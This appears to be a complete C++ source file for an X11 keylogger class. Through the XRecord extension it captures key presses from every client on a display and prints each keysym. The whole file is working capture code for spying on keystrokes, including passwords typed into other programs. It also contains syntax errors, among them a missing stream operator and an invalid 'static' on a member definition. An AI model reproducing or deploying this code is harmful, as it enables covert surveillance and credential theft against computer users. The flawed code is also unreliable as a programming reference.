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//
// Keylogger.cpp for Keylogger class in /home/vianney
//
// Made by Vianney Bouchaud
// Login <vianney@bouchaud.org>
//
// Started on Wed Oct 5 13:58:25 2011 Vianney Bouchaud
// Last update Thu Oct 6 19:03:44 2011 Vianney Bouchaud
//
#include <string>
#include "Keylogger.hpp"
Keylogger::Keylogger()
{
}
Keylogger::~Keylogger()
{
stop();
}
void Keylogger::start()
{
if (!XRecordEnableContextAsync(userData.dataDisplay, recContext, eventCallback, (XPointer) &userData))
throw exception();
}
void Keylogger::stop()
{
if(!XRecordDisableContext(userData.ctrlDisplay, recContext))
throw exception();
}
void Keylogger::setupRecordExtension()
{
XSynchronize(userData.ctrlDisplay, True);
if (!XRecordQueryVersion(userData.ctrlDisplay, &recVer.first, &recVer.second))
throw exception();
recRange = XRecordAllocRange();
if (!recRange)
throw exception();
recRange->device_events.first = KeyPress;
recRange->device_events.last = KeyPress;
recClientSpec = XRecordAllClients;
recContext = XRecordCreateContext(userData.ctrlDisplay, 0, &recClientSpec, 1, &recRange, 1);
if (!recContext)
throw exception();
}
void Keylogger::processData()
{
XRecordProcessReplies(userData.dataDisplay);
}
bool Keylogger::xConnect(string displayName)
{
m_displayName = displayName;
if (NULL == (userData.ctrlDisplay = XOpenDisplay(m_displayName.c_str())))
return (false);
if (NULL == (userData.dataDisplay = XOpenDisplay(m_displayName.c_str())))
{
XCloseDisplay(userData.ctrlDisplay);
userData.ctrlDisplay = NULL;
return (false);
}
userData.initialObject = (void *)this;
setupRecordExtension();
return (true);
}
static void Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook)
{
if (hook->category != XRecordFromServer)
{
XRecordFreeData(hook);
return;
}
CallbackClosure *userData = (CallbackClosure *)priv;
XRecordDatum *data = (XRecordDatum *) hook->data;
if(data->event.u.u.type == KeyPress)
{
int c = data->event.u.u.detail;
std::cout << XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0)) std::endl;
}
XRecordFreeData(hook);
}
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